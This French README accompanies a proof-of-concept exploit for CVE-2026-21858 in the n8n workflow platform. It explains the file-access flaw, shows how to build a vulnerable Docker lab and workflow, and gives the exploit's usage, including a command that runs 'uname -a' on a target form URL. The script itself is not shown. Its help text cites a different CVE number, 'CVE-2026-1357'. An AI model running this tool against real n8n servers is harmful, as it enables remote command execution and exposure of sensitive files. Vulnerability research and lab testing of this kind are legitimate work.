
Preuve de concept d'exploitation pour CVE-2026-21858 (ni8mare) affectant les versions de n8n < 1.121.0
n8n est une plateforme open source d'automatisation de workflows. Les versions à partir de 1.65.0 et antérieures à 1.121.0 permettent à un attaquant d'accéder aux fichiers du serveur sous-jacent via l'exécution de certains workflows basés sur des formulaires. Un workflow vulnérable pourrait accorder un accès à un attaquant distant non authentifié, entraînant l'exposition d'informations sensibles stockées sur le système et pouvant permettre une compromission supplémentaire selon la configuration de déploiement et l'utilisation du workflow. Ce problème est corrigé dans la version 1.121.0.
https://nvd.nist.gov/vuln/detail/CVE-2026-21858
❯ python CVE-2026-21858.py -h
usage: CVE-2026-21858.py [-h] --command COMMAND form
PoC exploit: CVE-2026-1357
positional arguments:
form Target form URL
options:
-h, --help show this help message and exit
--command COMMAND Command to run on target
Ce PoC a été écrit pour un workflow n8n minimaliste afin de simuler un flux simple de conversion de fichiers :

Clonez le dépôt et créez une instance docker vulnérable :
mkdir n8n-data
sudo chown -R 1000:1000 n8n-data
docker-compose up -d
Une fois l'instance créée, créez le workflow illustré dans la capture d'écran ci-dessus. Pour l'étape Extract from File, vous devrez définir le paramètre On Error sur Contine pour permettre au workflow de se terminer. De plus, définissez le flux sur Active dans la barre d'outils.
Après avoir créé le flux, installez les dépendances et lancez l'exploit :
pip install -r requirements.txt
python CVE-2026-21858.py http://localhost:5678/form/1d6de4f6-23dc-4163-ad39-a69252189d5e --command "uname -a"

Ce projet est fourni uniquement à des fins éducatives et de recherche. L'auteur n'est pas responsable d'une mauvaise utilisation ou des dommages causés par ce code.